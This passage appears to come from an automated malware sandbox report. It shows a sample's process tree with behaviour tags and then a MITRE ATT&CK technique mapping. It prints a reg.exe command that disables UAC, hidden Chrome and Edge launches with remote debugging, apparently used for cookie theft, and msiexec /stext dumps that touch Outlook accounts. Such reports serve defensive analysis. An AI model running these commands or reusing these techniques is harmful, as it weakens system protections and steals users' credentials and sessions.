      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2236
- - C:\Program Files\Google\Chrome\Application\Chrome.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:4136
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7fffaee6cc40,0x7fffaee6cc4c,0x7fffaee6cc58
      4⤵
      PID:468
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1956,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=1952 /prefetch:2
      4⤵
      PID:4480
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2052,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2468 /prefetch:3
      4⤵
      PID:2892
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2200,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2620 /prefetch:8
      4⤵
      PID:1860
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3184,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3240 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:4536
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3192,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3308 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1184
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=renderer --no-appcompat-clear --remote-debugging-port=9222 --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4608,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4656 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:824
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4148,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4600 /prefetch:8
      4⤵
      PID:4780
  - - C:\Program Files\Google\Chrome\Application\Chrome.exe
      "C:\Program Files\Google\Chrome\Application\Chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=4892,i,5973090918743584558,1283894402924129498,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4540 /prefetch:8
      4⤵
      PID:4492
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gkzkwxxrvwcvglgksd"
    3⤵
    PID:1344
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\gkzkwxxrvwcvglgksd"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:4548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\qemcwpitieuaqzuoboitj"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:4880
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\tysvxiamemmfsfrssydnugvl"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2500
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --window-position=-2400,-2400 --remote-debugging-port=9222 --profile-directory="Default"
    3⤵
    - Uses browser remote debugging
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    PID:1448
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\TmpUserData\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\TmpUserData --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7fffaed246f8,0x7fffaed24708,0x7fffaed24718
      4⤵
      Checks processor information in registry
      Enumerates system info in registry
      PID:4636
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2004,11129871714968754958,11030336996189139879,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2056 /prefetch:2
      4⤵
      PID:1920
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,11129871714968754958,11030336996189139879,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2520 /prefetch:3
      4⤵
      PID:4576
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2004,11129871714968754958,11030336996189139879,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2780 /prefetch:8
      4⤵
      PID:4968
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2004,11129871714968754958,11030336996189139879,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:3584
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --remote-debugging-port=9222 --field-trial-handle=2004,11129871714968754958,11030336996189139879,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
      4⤵
      Uses browser remote debugging
      PID:1776

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:4816

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3888

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Authentication Process

Modify Registry

T1112

Credential Access

Modify Authentication Process

Steal Web Session Cookie

T1539

Discovery

Query Registry

System Information Discovery